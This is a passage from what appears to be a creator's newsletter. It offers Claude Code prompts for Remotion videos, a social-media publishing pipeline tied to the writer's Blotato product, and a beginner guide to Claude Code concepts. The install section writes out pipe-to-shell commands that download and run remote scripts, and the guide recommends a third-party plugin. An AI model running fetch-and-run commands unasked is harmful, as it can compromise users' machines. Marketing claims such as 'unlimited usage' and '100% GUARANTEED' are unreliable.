Works for restaurants, agencies, dentists, salons, any local business. This is the kind of video businesses pay $200-500 for on Fiverr. Change the link, get a new video.

4. Avatar Video with Animated Overlays

Use case: Drop in a 9:16 talking-head video. Claude transcribes what you’re saying, then overlays animated titles, topic graphics, captions, and progress indicators on top of the video — synced to your speech. Your original video stays full-frame, untouched.

Prompt:

Use the Remotion best practices skill.
I’ve placed my talking-head video in public/avatar.mp4. This is a 9:16 vertical video (1080x1920) of me talking to camera — a selfie-style shot where my face is in the lower 60% of the frame, with open space above my head.
Create a Remotion composition (1080x1920, 30fps) that plays this video FULL FRAME as the background layer, then overlays animated graphics on top — specifically in the open space above my head (roughly the top 35-40% of the frame). The video itself is never cropped, split, or resized. It plays edge-to-edge at its original 1080x1920 resolution.

SAFE ZONE: All overlay text and graphics must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and at least 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — TRANSCRIBE & PLAN: Use Whisper to transcribe public/avatar.mp4. Analyze the transcript to identify:
- The total duration (set composition length to match the video)
- 3-5 key topic segments with their start timestamps
- For each segment, propose an overlay graphic to display in the top portion of the frame (above my head). Examples:
  - Topic title with a large step number (e.g., “01” faded in background, “Elements of AI” as headline)
  - Keyword pill/badge that highlights the current topic
  - Simple animated icon or diagram illustrating the concept
  - Progress bar or step indicator showing where we are in the video
  - Animated caption/quote pulling a key phrase from what I’m saying
Show me the transcript segments and proposed overlay for each. Wait for approval before coding.

STEP 2 — BUILD:

BASE LAYER — FULL-FRAME AVATAR VIDEO:
- <OffthreadVideo src={staticFile(”avatar.mp4”)} /> filling the entire 1080x1920 composition
- style={{ width: “100%”, height: “100%”, objectFit: “cover” }}
- This is the background. It plays from frame 0 for the full duration.
- Audio from this video is the composition’s audio track (me speaking)
- Do NOT crop, resize, split, or put this in a panel. It IS the full frame.

OVERLAY LAYER — ANIMATED GRAPHICS (positioned in top ~35% of frame, above my head):
- Use AbsoluteFill on top of the video layer
- All graphics positioned in the top portion of the frame (y: 150px to ~700px) — this is the open space above my head
- Add a subtle dark gradient overlay ONLY in the top 40% of the frame (transparent at bottom, rgba(0,0,0,0.6) at top) so white text is readable against any background
For each topic segment, display an overlay timed to the transcript:

OVERLAY STYLE (like the reference image):
- Large faded step number in background (”01”, “02”, etc.) — Inter 800, ~200px, rgba(255,255,255,0.08)
- Topic headline below it — Inter 700, 56-64px, white
- Keyword badge — small rounded pill with glass-morphism background, 32px text
- Animated progress bar under the badge — thin line that fills to show progress through current segment, accent color #22c55e
- Each overlay enters with spring({ damping: 200 }) at its segment’s start timestamp
- Previous overlay fades out (opacity 0 over 10 frames) as the new one enters
- Use Sequence components with from={Math.round(timestamp * fps)} to sync to speech

OPTIONAL BOTTOM OVERLAY — CAPTIONS:
- If you can extract word-level timestamps from Whisper, add animated captions in the lower portion of the frame (above bottom safe zone, around y: 1600-1700px)
- Style: bold white text, 36px, with a subtle text shadow for readability
- Highlight the current word in accent color (#6366f1)

COLORS: Accent #6366f1 (indigo), secondary #22c55e (green), text white

FONT: Inter (weights 400, 600, 700, 800)

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Why it’s mindblowing: Drop in any selfie talking-head video. Claude transcribes your speech, then layers animated titles, step numbers, keyword badges, progress bars, and captions on top of your original video — all synced to what you’re actually saying. Your video stays full-frame and untouched. It’s like having a motion graphics editor watch your video and add overlays in real time.

5. Data Visualization Infographic

Use case: Give Claude a CSV file or paste raw data. It designs and animates a full dashboard with charts, KPIs, and trend indicators — no design skills needed.

Prompt:

Use the Remotion best practices skill.
I’ve placed a data file at public/data.csv. Create an animated data dashboard video (1080x1920, 30fps, 15 seconds) that visualizes this data.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — ANALYZE: Read the CSV file. Identify:
- A compelling title for the dashboard
- The single most impressive KPI stat (for the hero card)
- Data suitable for a bar chart (categorical comparison)
- Data suitable for a donut/pie chart (parts of a whole)
- Data suitable for a line chart (trend over time)
If the CSV doesn’t have all 4 chart types, pick the best 4 visualizations for the data and adapt. Show me the proposed dashboard layout. Wait for approval before coding.

STEP 2 — ANIMATE:

LAYOUT: Vertical stack of 4 panels with 30px padding between. Top margin at 150px (safe zone), bottom panel ends above 170px (safe zone). Side margins: 60px. Dark background #0a0a0a.

PANEL 1 - KPI Hero Card:
- Large headline number counting up from 0 using interpolate(), with appropriate suffix (%, $, k, M)
- Subtitle describing the metric in Inter 400, 20px, #94a3b8
- Trend indicator: colored arrow (green ▲ or red ▼) with YoY change, slides in after count finishes
- Glass-morphism card background (rgba(255,255,255,0.05), border 1px solid rgba(255,255,255,0.1), backdrop-blur)
- tabular-nums font-variant for smooth counting
- Entrance: card scales from 0.8 to 1.0 with spring at frame 10

PANEL 2 - Bar Chart:
- Horizontal bars, one per category, using real labels and values from the CSV
- Each bar grows from width 0 using spring({ damping: 200, delay: index * 10 })
- Bar colors: gradient from #6366f1 to #8b5cf6
- Labels on left, values appear at bar end after growth completes
- Rounded-right corners (8px)
- Entrance: staggered, starting at frame 25

PANEL 3 - Donut Chart:
- SVG donut using stroke-dasharray / stroke-dashoffset
- Segments draw clockwise, each starting after previous finishes
- Colors: #3b82f6, #22c55e, #f59e0b, #ef4444 (cycle if more segments)
- Radius 80px, stroke-width 24px
- Center text: category name swaps as each segment draws
- Colored legend dots below, staggered fade-in
- Entrance: starts at frame 50

PANEL 4 - Line Chart:
- SVG polyline drawing left to right via stroke-dashoffset + interpolate()
- Data point circles (r=4) pop in with scale spring as the line reaches them
- Gradient fill below the line (color to transparent) reveals with the draw
- Axis labels from the CSV data
- Line color: #22c55e
- Entrance: starts at frame 70

GLOBAL:
- Dashboard title (from your analysis) fades in at frame 0, top safe zone, Inter 800, 36px
- Source subtitle fades in at frame 5, Inter 400, 16px, #64748b
- All panels use matching glass-morphism card style
Use spring() for entrances, interpolate() with clamp for counts and line drawing. Create reusable CountUp and AnimatedBar components.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.

Drop any CSV into the public folder. Claude reads the data, picks the best visualization for each chart type, and animates a full dashboard with real numbers.

Swap the CSV, get a completely different video.

Works for quarterly reports, survey results, API analytics, anything with numbers.

Spring is here!! If you’re procrastinating posting on socials, don’t miss this awesome deal. Expires 3/31 end of March.

Get 50% OFF your first month Blotato plus +5000 extra credits to make AI images/videos. Use this discount code at signup:

“SPRING2026”

Claude just changed content creation forever!

You can now generate, edit, fact-check, and schedule videos entirely from Claude Code.

In this comprehensive step-by-step tutorial, I’ll show you how to use Claude Code alongside the Remotion skill to build your local video creation/editing pipeline.

Then, publish automatically to social media :)

1. Install the Remotion Skill

First, open Claude Code. Doesn’t matter if you’re in the terminal, Visual Studio Code, or Windsurf.

Type this:

Install the pre-built skill remotion and set it up.

Claude searches the web, finds the Remotion skill, and installs it.

If you’re technical and want the 1-line shortcut, type this in your terminal:

npx skills add remotion-dev/skills

Remotion is a framework for creating and editing videos using code. Claude Code writes the code FOR you. No need to know React, JavaScript, or anything technical.

The BEST part?

Everything runs locally on your computer FOR FREE (except your Claude Code subscription).

You’re not paying for some cloud video service.

You’re not uploading files somewhere and downloading them back. It’s all happening on your local private machine.

While it installs, explore the skill directory. There’s a SKILL.md file explaining when Claude should trigger this skill, plus rules for animations, safe zones, and more.

Pro tip:

If you want Remotion to be your primary video tool, expand the skill description so Claude triggers it anytime you mention video creation... even if you don’t say “Remotion” directly.

2. Create a Motion Graphics Video (Prompt 1)

Here’s the EXACT first prompt I used:

use remotion skill to create a 9:16 15-second video on this topic:

- free github repos containing Claude Code skills

- the first 5 seconds should have a viral hook

- use cool motion graphics

- use cool animated text

- use short-form video safe zones, so text should not be located too high up or too far down

Claude went OFF!

It researched real GitHub repos. It generated a viral hook. It created animated text with motion graphics. It used safe zones so text doesn’t get cut off by platform UI.

Within 2-3 minutes, Remotion opened its own local studio at localhost:3003. Preview the video right there in your browser. Press play, scrub through it, see exactly what you’re getting BEFORE rendering.

And this was WITHOUT brand voice, brand kit, or custom assets.

A raw first draft from 1 prompt.

3. Fact-Check and Add Screenshots (Prompt 2)

The first draft had 1 problem: Claude pulled a private GitHub repo. So I ran a second prompt:

update the video:

- first, fact check that every single github repo is public and contains free Claude Code skills

- one scene per github repo

- for each github repo, take a web screenshot and incorporate it in the video

- update CTA to “Sign Up for BLOTATO”

This is where it gets WILD.

Claude used Claude in Chrome (browser automation) to VISIT each GitHub repo, take a real screenshot, and then Remotion incorporated those screenshots directly into the video.

Yes… your AI video editor browsing the internet, grabbing real assets, and dropping them into your video.

Automatically!!

It found 3 verified public repos, took screenshots of each one, rewrote the video with 5 scenes (hook, repos with screenshots, and CTA), and rendered em all.

4. Personal Touches (Prompt 3)

The last prompt shows what else is possible:

incorporate my headshot in ~/Downloads in the last screen CTA and lets add some techno/edm/psychedelic background music

Claude added my headshot with a gradient border matching the Blotato CTA colors. Background music faded in. Done.

3 prompts total.

Motion graphics video.

Real web screenshots.

Custom assets.

Background music.

All generated locally, for FREEEEEEE.

5. Edit EXISTING Videos

This is the part many creators care about.

Take a video you already filmed... a talking head TikTok, a YouTube Short, whatever... and make Claude edit it for you.

edit the latest video in ~/Downloads, remove mistakes, add a scroll stopping tiktok-style title, add subcaptions but don’t cover my face, be mindful of 9:16 safe zones

Claude analyzes your video, applies a title overlay disappearing after a few seconds, adds captions avoiding your face, and attempts to trim out the bloopers where you stumbled.

Is it PERFECT? No way.

Claude reduced font sizes, added word spacing, highlighted active words by making them slightly larger. The caption editing was readable and well-formatted.

The blooper removal was decent but far from perfect... transitions were a bit rough in preview but smoother in the final render.

My honest take:

If you’re serious about using Remotion for editing existing videos, set aside a few days to build a template fitting YOUR style. Figure out where your title goes, how captions should look, and your standard intro/outro.

Make just ONE template that looks good enough.

Nothing too crazy, keep it simple. Higher chance of success.

6. Schedule to Social Media (The Final Step)

Here’s where it all comes together.

Install the Blotato MCP server (1 line), then:

lets schedule the motion graphics video for instagram in 30 minutes using Blotato MCP

I always keep an approval step in my workflow.

Claude shows me the caption, I check the brand voice, the hashtags, the message... then I approve and it goes out.

Manage your ENTIRE content calendar this way.

I’ve got tons of posts scheduled every week, all through Claude Code + Blotato MCP. Never leaving the terminal.

My Honest Take

This isn’t replacing professional video editors.

Editing existing videos still needs a lot of work, especially blooper removal and transitions.

BUT for motion graphics, short-form content, and quick social videos? This is ALREADY good enough to start with, especially if you don’t have a big budget or big team. Spend a couple days iterating on ONE template to achieve a style you like.

The real advantage is, indeed, building reusable templates.

Once Claude knows your brand, your style, your CTA format... that’s the productivity gain. You can also use Remotion for your FIRST DRAFT pass, then handoff to human editors to add polish.

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

You type something. It types back. Fancy autocomplete.

Then I started using Claude Code 1+ year ago and realized… this isn’t a chatbot.

It’s the closest thing I’ve ever seen to an “AI employee”.

I type one word... Claude finds my latest Tiktok drafts. Transcribes my videos. Writes platform-specific captions in my voice, including comment keywords for DM automations. Checks its own work against my rules. Publishes to 8 social media platforms. Updates my Airtable. Then creates DM automations for Instagram and Facebook in ManyCht.

All from 1 command I can type while walking my dog.

This is not a ‘conversation’.

This is a business operation.

Today I’m breaking down every single Claude Code concept in plain English for normal people.

This starts with “what even IS this” all the way to skills, hooks, memory, MCP, and more.

FOLLOW ALONG ON YOUTUBE TO MAXIMIZE YOUR LEARNING:

To support my free AI education: SHARE + LEAVE A COMMENT🙏

We’ll be covering 30 fundamental Claude Code concepts and practical use cases for entrepreneurs and business owners!

You don’t need all of these on day 1...

But you do need to START day 1 to learn for real :)

By month 2, you’ll wonder how you lived without this.

100% GUARANTEED!!

The gap between people getting results with AI and people falling behind isn’t talent. It’s not taste. It’s not delegation.

It’s reps.

100 hours of building real things with real tools.

Let’s goooooo…

Section 1: Getting Started

1. The Terminal

Here’s what nobody tells you about Claude Code: it doesn’t live in a browser.

It lives in the terminal. The text-based interface on your computer where you type commands and things happen.

The terminal looks intimidating. Blank screen. Blinking cursor. No buttons, no menus, no drag-and-drop.

But here’s what you get in return: instead of clicking through 15 browser tabs, copying text between windows, and manually doing everything yourself... you type 1 sentence and Claude does the work because it has access to your COMPUTER, your files, your images, and the internet, plus you give it access to apps you use daily like Google Suite, Airtable, Notion, Blotato, etc.

Before: 15 windows open, copying and pasting between ChatGPT, your files, your browser, your spreadsheet.

After: 1 window. You type what you want. Claude reads your files, makes the changes, and shows you what it did.

How to find it: on Mac, open Launchpad, type “Terminal”, hit enter. On Windows, search for “Command Prompt.”

Set up your playground: once you have the terminal open, paste these 2 lines one at a time, to create a practice folder and enter it:

mkdir ~/playground

cd ~/playground

This is your playground for the rest of this tutorial. Everything Claude creates will live here.

2. Installation + Pricing

Before you type claude, you need to install it.

Open your terminal and paste this:

Mac/Linux: curl -fsSL https://claude.ai/install.sh | bash

Windows PowerShell: irm https://claude.ai/install.ps1 | iex

Hit enter. Done.

Full instructions at code.claude.com/docs/en/quickstart.

3 ways to pay:

- Max plan ($100/month, or $200/month for more): flat monthly fee, unlimited usage. Best if you’re using it daily for business.

- Pro plan ($20/month): monthly subscription, limited usage. Good for getting started.

If you’re a business owner who’ll use this every day, go Max. Don’t think about it. The ROI shows up in the first week. I’ve been on Max $200/month for a very long time and cancelled many other subscriptions as a result.

3. File Access

This is the concept where Claude Code stops being a chatbot and starts being useful.

Claude Code reads and edits files on your computer. With your permission.

Not “paste your document into a chat window” like ChatGPT. It SEES your actual files. Your proposals, your spreadsheets, your client folders. And it edits them directly.

Before: copy-pasting your proposal into ChatGPT, losing all the formatting, getting a generic response.

After: “read my proposal.docx and tighten the executive summary” and Claude opens the file, reads it, and rewrites the section IN your document. You don’t have to copy-paste or drag-and-drop because Claude can just find it and update it directly.

Claude can also CREATE files, not just read them. Try this next:

Open the file to check it out :)

4. Image + PDF Reading

Besides text, Claude Code sees images, screenshots, PDFs, diagrams, photos of whiteboards, mockups, receipts. Drop a file in and it reads it.

Take a screenshot of an error message and paste it. Drag in a PDF invoice. Share a photo of your whiteboard brainstorm. Claude reads it all and works with it like text.

Before: manually retyping what’s on a screenshot or PDF. Or describing an image to ChatGPT and hoping it understands.

After: drop in the image. Claude sees it, reads it, and acts on it.

---

Section 2: Your First Real Tasks

5. Tool Use (Claude ACTS, Not Chats)

This is the paradigm shift. Forget everything you know about chatbots.

Claude Code doesn’t chat. It ACTS.

It reads files, edits documents, runs commands, searches your folders, fetches web pages, connects to your apps. Each action is a “tool.” You see them happening in real time as Claude works.

Here’s what a tool call looks like in practice: you ask Claude to find invoices. It uses the search tool to scan every file in your folder. Then it uses the read tool to open each match. Then it uses the write tool to create a summary document.

Tools are built into Claude Code. MCP (concept #25) lets you add MORE tools by connecting external apps like Airtable, Google Drive, and Slack. The difference: tools are what Claude does on your computer. MCP extends those tools to the internet.

Before: AI gives advice and YOU do the work. “Here are the steps to update your spreadsheet...”

After: AI does the work and you review. “Here’s your updated spreadsheet. I changed 47 rows.” You SEE each tool call happening as it works.

Now, you’ll see Claude READING, then THINKING, then WRITING.

6. How to Talk to Claude Code

The #1 mistake: vague prompts.

“Help me with my marketing” = garbage in, garbage out.

“Write a 3-email welcome sequence for my dog walking business. Casual tone, mention our GPS tracking feature, each email under 200 words, include a CTA to book a free walk” = RESULTS.

Be specific. Say what you want AND what you don’t want. Give constraints. Name files. The more specific your ask, the more specific the result.

Tag specific files with @ to make sure Claude reads the right ones. Type @ and autocomplete shows your files. @budget_2024.xlsx pulls in your budget. @client_list.csv pulls in your client list. It’s like tagging someone in a group chat, but for files.

And here’s a power move: instead of trying to write the perfect prompt, let Claude help you write it.

Before: vague prompts, vague results, frustration, “AI doesn’t work.”

After: specific asks, specific results, shipped work, “how did I live without this?”

7. CLAUDE.md (Your AI’s Instruction Manual)

This is where Claude Code gets PERSONAL.

A CLAUDE.md file is a document you write once, and Claude reads it at the start of EVERY conversation. It’s your AI employee’s job description.

“Here’s how my business works. Here are my brand rules. Here’s what I NEVER want you to do. Here are the tools I use. Here’s my writing style.”

Teach it once, it knows every time. No more repeating yourself every conversation.

In Claude Code, you don’t even need to know how to create files. Say: “create a file called CLAUDE.md with these 3 rules” and tell it your rules. Done.

Before: “Remember, I want you to...” every single conversation. “I TOLD you yesterday, don’t use this format!”

After: write it once in CLAUDE.md. Claude follows your rules from now on. Forever.

8. Plan Mode

If you learn ONE thing from this newsletter, make it this.

Plan mode means Claude writes out its full approach BEFORE making any changes. You review the plan, adjust it, approve it... THEN it builds.

It’s like getting a proposal from a contractor before they start demolishing your kitchen. You see what they’ll do, how they’ll do it, and what it’ll cost. Then you say “go.”

90% planning, 10% building.

Without plan mode, Claude rewrites half your files and you have no idea what happened. With plan mode, you’re the boss reviewing a proposal. I personally spend MOST of my time in plan mode for mission-critical activities, such as coding.

Before: Claude makes 47 changes and you have no idea what happened or why.

After: you see the plan, approve each step, stay in control. THEN it executes. Fast and right. As best practice, you should continue watching what Claude actually does in case it goes down the wrong rabbit hole, and you need to interrupt it.

Next, review the plan. You can select text in the plan and add comments, just like collaborating on Google Docs. Claude will read your feedback and improve the plan.

---

Section 3: How Claude’s Brain Works

9. Context Window

Think of Claude’s memory as a whiteboard.

Everything you say, every file it reads, every response it gives... all goes on the whiteboard.

The whiteboard is big. But it’s not infinite.

When it fills up, older stuff gets summarized to make room. Like taking a photo of the whiteboard before erasing part of it to write more.

This is why Claude sometimes “forgets” what you said 20 minutes ago. The whiteboard filled up and your early notes got compressed. Your early notes blend in with everything else, and it gets increasingly hard to understand what was truly important among all your notes.

Understanding this changes how you use Claude Code. Long, rambling conversations fill the whiteboard fast. Short, focused sessions keep it clean.

10. Tokens + Cost Management

Tokens are how AI measures text. Every word you send and every word Claude sends back costs tokens. There’s a max per conversation (the whiteboard size).

Type /usage to see your spending. It shows input tokens (what you sent) vs output tokens (what Claude sent back). Type / and click “Account & usage” for a fuller breakdown.

4 ways to keep costs down:

1. Switch to a cheaper brain for simple tasks. You have 3 brains to choose from (next concept). Use the expensive one for big tasks, the cheap one for quick questions.

2. Use /clear between unrelated tasks. Don’t let old context pile up.

3. Use /compact during long sessions. Compresses the whiteboard without losing key details.

4. Install the context-mode plugin. It significantly reduces context usage by managing what Claude reads more efficiently. Run these 2 commands: /plugin marketplace add mksglu/context-mode then /plugin install context-mode@context-mode. Full details at github.com/mksglu/context-mode.

11. Model Selection (Picking the Right Brain)

Claude Code gives you 3 brains:

- Opus: the smartest, most thorough, most expensive. Use it for complex projects, big rewrites, anything where quality matters more than speed.

- Sonnet: fast, capable, affordable. Your daily driver. Use it for everyday tasks, quick edits, routine work.

- Haiku: cheap and quick. Use it for simple questions, quick lookups, anything where speed matters more than depth.

You switch mid-conversation based on the task. Building a full marketing strategy? Opus. Renaming a file? Haiku.

---

Section 4: Managing Conversations

12. /compact

Summarizes your conversation into a condensed version, freeing up whiteboard space WITHOUT losing the key points.

Remember the whiteboard from concept #9? /compact is like taking a photo of the whiteboard, erasing it, and writing a tight summary. You keep the important stuff, lose the fluff, and now you have room for more work.

13. /clear

Wipes your current conversation. Clean slate.

Use it when you’re switching to a totally different task. If you were working on email sequences and now you want to brainstorm product names, type /clear first. Old context confuses new work.

14. Session Management

Each conversation is a session. Close the terminal, come back tomorrow, pick up where you left off.

Type claude --resume and you’re back in your last session. Your work doesn’t disappear.

Start fresh sessions for new topics. Resume old sessions for ongoing work.

Before: losing your entire conversation when you close the window.

After: pick up tomorrow exactly where you stopped.

---

Section 5: Controlling Claude

15. Permission Modes + Settings

You control how much freedom Claude has. Like setting parental controls, but for your AI employee.

From “ask me before every single edit” (safe, slow, good for learning) to “do whatever you need” (fast, you trust it, good for routine tasks).

Press Shift+Tab to cycle through modes. When you’re new, keep the guardrails tight. As you build trust, loosen them.

You also configure default settings. Your default permission level, preferred model, and other preferences all live in one place. Set your defaults once and every new session starts the way you want.

Before: Claude running wild making changes you didn’t approve. Or asking permission for every tiny thing.

After: you set your comfort level and it matches your pace. Every session starts with your preferred defaults.

16. Effort Levels

Tell Claude how hard to think.

Low effort for quick answers (”what time zone is Denver in?”). High effort for complex problems (”restructure my entire pricing strategy”).

You don’t always need full brain power. Effort levels let you get fast answers for simple stuff and deep analysis for hard stuff. Change it anytime by typing /model and using the left/right arrow keys to adjust the effort slider.

There’s also a keyword: type “ultrathink” in your prompt and Claude maxes out its reasoning for one response. It’ll think through every edge case before answering. Also, it’s RAINBOW COLORED!!

Before: waiting 30 seconds for Claude to overthink a simple question.

After: low effort for quick stuff, ultrathink for the complex stuff.

In VSCode, there’s a nice shortcut - you can just type /effort.

17. Interrupt + Redirect

Press Escape anytime to stop Claude mid-task.

Like telling an employee “stop, new priority.” Claude stops immediately and waits for your next instruction. No work is lost. You pivot.

Before: watching Claude spend 2 minutes doing the wrong thing because you gave a bad instruction.

After: Escape, correct course, keep moving. Instant pivot.

---

Section 6: Reviewing Work + Teaching Claude

18. Visual Studio Code

You’ve been using the terminal for a few days. You’re getting comfortable. Now let me show you something better for REVIEWING Claude’s work.

VS Code is a free app (it says “code editor,” but don’t let the name scare you).

It’s like fancy Google Docs, so you and Claude Code can collaborate and review files together!

FUNNNNN :D

It shows your files with nice formatting, tabs, and a sidebar. Claude Code runs right inside it.

When Claude edits 5 files, you want to SEE what changed. VS Code shows you exactly which lines were added, removed, or modified. Color-coded. Side by side.

The terminal is great for giving AI instructions. VS Code is great for giving instructions AND reviewing the results.

Before: squinting at the terminal trying to figure out what Claude changed.

After: VS Code shows every change, highlighted, in context. You review like a boss and approve.

On the left sidebar, if you click the Claude Code icon, you’ll see ALL your Claude sessions including your local Claude Code session, as well as your web-based Claude.ai sessions!

Disadvantages of Visual Studio Code include:

- the official Claude Chrome VSCode extension sometimes doesn’t have features yet, such as remote control and btw at time of this writing, however you can always launch a terminal within VSCode

- terminal will have the least bugs in general; Claude Code VSCode extension sometimes has weird quirks or freezes

- it may be unnecessary/heavy if you don’t need to heavily review your AI employee’s outputs

---

19. Memory

Think of CLAUDE.md (concept #7) and Memory as two different things.

CLAUDE.md is your instruction manual. Your playbook/SOP for a project. You write it. It’s like handing a new employee a job description on day 1: “here’s how we do things, here are the tools, here are the rules.” It loads every conversation automatically. You can also have a global CLAUDE.md that’s like a “meta instruction manual” applying to all projects.

Memory is Claude’s personal notebook. Claude writes it (or you tell it to). It’s like an employee jotting down notes after meetings: “boss prefers casual tone, last time I used formal language she corrected me, the database field is called ‘Video URL’ not ‘Drive URL’.”

Put the system in CLAUDE.md: API references, account IDs, workflow steps, project structure. Stuff you’d put in a wiki.

Let preferences accumulate in memory: your writing style, corrections you’ve given, context about ongoing work. Stuff you’d tell a coworker once and expect them to remember.

If you find yourself repeating the same correction, tell Claude “remember this.” If it’s a rule every conversation needs from line 1, put it in CLAUDE.md.

Before: repeating your preferences every conversation. “I TOLD you yesterday!”

After: correct Claude once. It writes it down. It never forgets.

20. Project Scope vs Global Scope

Your dog walking app has different rules than your Etsy candle shop. But your name and preferences are the same everywhere.

Project scope: settings applying ONLY to your current project folder. Each project gets its own CLAUDE.md, its own rules, its own playbook.

Global scope: settings following you everywhere. Your name, your writing style, your preferences.

Think of it like having different employee handbooks for different departments, but 1 company-wide policy covering all of them.

Before: your blog project rules bleeding into your app project.

After: each project has its own playbook. Global preferences stay consistent.

---

Section 7: Skills + Automation

21. Slash Commands

Type “/” in Claude Code and a menu pops up. Quick actions you’ll use all the time:

/help, /clear, /compact, /model, /usage.

There are also 2 hidden gems most people miss:

- /insights shows you patterns in how you’ve been using Claude Code. What’s working, what’s not, where you’re spending the most tokens. It’s your personal performance dashboard.

- /btw lets you give Claude a side note without interrupting its current task. Claude is halfway through rewriting your proposal and you realize “oh, I forgot to mention, use my new phone number.” Type /btw use 555-1234 as my phone number and Claude absorbs it without losing its place. As of March 13 2026, this command is currently available in terminal, not yet in the VSCode Claude Code extension.

22. Skills (Your Custom Workflows)

THIS is where Claude Code goes from useful to life-changing.

I frequently hear from folks who followed my Claude Code tutorials: “MIND BLOWING!!”

A skill is a set of instructions saved as a file. They can be chained together. They can do complex things. Type /skill-name and an entire workflow runs.

Claude Code will always interpret your prompt, then determine what skill(s), if any, it should use. Or you can trigger the skill manually by typing /skill-name.

Here’s what my /crosspost skill does with 1 command:

1. Searches Google Drive for my latest finished videos (file access + tool use)

2. Downloads each video to my computer temporarily (file system tools)

3. Transcribes the audio using Whisper, a speech-to-text tool running locally on my machine (terminal commands)

4. Matches each transcript to its topic in my Airtable database (MCP connection to Airtable)

5. Reads my brand voice rules from my CLAUDE.md and writing templates (file access + context)

6. Writes 3 types of captions per video: a long SEO description for TikTok/YouTube/Instagram/Facebook, a short conversational tweet for Twitter/Threads/Bluesky, and a standalone text post for Substack (AI writing with constraints)

7. Runs every caption through a quality gate blocking banned words, checking character limits, catching vague references, and rejecting formatting I don’t use (hooks, concept #23)

8. Shows me all the captions in a review file so I approve them before anything goes live (plan mode philosophy, draft approval)

9. Publishes to 7 platforms simultaneously via Blotato’s API (MCP tool calls, parallel subagents)

10. Stores the Substack caption in Airtable for my n8n automation to pick up and post later (MCP + external automation)

11. Updates my Airtable database with the transcript, captions, post date, and status for every video (MCP + record keeping)

12. Renames the original files on Google Drive so I know they’ve been posted (file management via API)

13. Create DM automations by launching Claude Chrome extension, cloning DM automation templates, and swapping out the keyword and links.

1 command. 8 platforms. 12 steps.

All the concepts you’ve learned working together!

And it does this in parallel with subagents. If I have 5 videos, it spawns 5 mini-Claudes to transcribe them all at once, then 5 more to publish them all at once. What would take me 3 hours takes 10 minutes.

THIS is what a skill looks like at full power.

A markdown file with instructions turning Claude Code into your AI employee.

You don’t need to start this complex. Your first skill should be dead simple.

A /weekly-recap skill. It reads all the files you changed this week, summarizes what you worked on, and drafts a 3-paragraph update email for your team or clients. File access + AI writing + your CLAUDE.md voice rules. Concepts you already know.

1 command. Every Friday. Done in 30 seconds.

Later, when you add MCP connections (concept #25) and Perplexity (concept #26), your skills get WILD. A /fact-check skill reads your content line by line, searches the internet for primary sources, and flags anything unverified. But start simple.

Before: writing the same 500-word prompt every time you want to run a recurring workflow.

After: /skill-name and the entire thing runs. Build it once, use it forever. Improve it over time.

23. Hooks (Automated Guardrails)

Hooks are scripts running automatically before or after Claude takes an action. Guardrails you don’t need to remember.

In my /crosspost skill, I have a quality gate hook. Every time Claude tries to publish a post, the hook automatically intercepts it and checks:

- Are there any banned punctuation marks? (I block specific ones from my brand voice.)

- Are there banned words? (40+ words I’ve banned.)

- Is the caption over the platform’s character limit?

- Is there missing media for platforms needing it?

- Does the text reference “this website” without naming the specific website?

If ANY check fails, the hook blocks the post. Claude has to fix the issue and try again. This happens automatically. I don’t need to remember to check. The guardrail is built in.

You also get a desktop notification when long tasks finish, so you don’t need to stare at the screen waiting.

You set up hooks by telling Claude what you want. Claude creates the hook for you.

Before: forgetting to proofread, shipping typos, breaking your own brand rules.

After: automated quality checks every single time. You set the rules, hooks enforce them.

---

Section 8: Connecting Claude to the Real World

24. Web Browsing

Claude reads any webpage you give it.

Paste a URL and it fetches the page, reads the content, and works with it. Competitor pricing pages, blog posts, documentation, job listings, recipes... anything public on the internet.

Here’s what makes this different from ChatGPT: Claude Code reads the page AND takes action. It doesn’t stop at a summary. It writes a comparison doc, saves it to your project folder, and moves on to the next task.

Before: manually copying website text into a chat window, losing formatting, missing sections.

After: Claude fetches the page, pulls the data, creates a file with the analysis, and saves it. You review the finished document.

25. MCP Servers (From Consultant to Employee)

MCP stands for Model Context Protocol. In plain English: it’s the bridge between Claude and your real tools.

Remember tools (concept #5)? Those are what Claude does on your computer: reading files, searching folders, running commands. MCP extends this to the INTERNET. It connects Claude to apps like Google Drive, Slack, Notion, Airtable, Stripe, Perplexity, and your email.

Without MCP, Claude says “go update your Airtable.” With MCP, Claude UPDATES your Airtable.

My /crosspost skill uses 3 MCP connections: Airtable (to read topics and update records), Blotato (to publish to 7 social platforms), and Google Drive (to find and download videos). Claude talks directly to these tools. No copy-pasting. No switching tabs.

Before: Claude says “here’s what you should update in your spreadsheet.” And YOU do it.

After: Claude updates the spreadsheet, confirms the change, and moves to the next task.

Once you’ve connected Airtable MCP, try asking Claude to read or update items in your Airtable!

Type /mcp to see all your current MCP servers.

26. Perplexity MCP (AI-Powered Web Research)

Web browsing (#24) lets Claude read pages you point it to. Perplexity MCP lets Claude RESEARCH the entire internet with verified sources. I personally use Perplexity MCP ALL THE TIME instead of Claude’s native internet capabilities.

This step is optional, but I highly recommend it.

Instead of “read this 1 link,” it’s “go research this topic, find the 10 best verified sources, and tell me where you got each fact.”

This is the upgrade from reading 1 article to having a research assistant who reads 50 and gives you the summary with citations.

Note: Perplexity has its own pricing (free tier + paid plans at perplexity.ai). Check their site for current numbers.

Before: Claude reads the 1 page you gave it.

After: Claude finds the best sources using Perplexity MCP tailored to research, synthesizes sources, and cites every piece of info.

---

Section 9: Agents, Remote Control + Scheduling

27. Subagents (Automatic Parallel Workers)

When you give Claude a task with multiple independent parts, it automatically spawns mini-Claudes to handle them in parallel. You don’t need to ask for it. You don’t need to set it up. Claude decides on its own when parallel work would be faster.

“Research these 5 competitors” becomes 5 agents working simultaneously instead of 1 going through them 1 by 1.

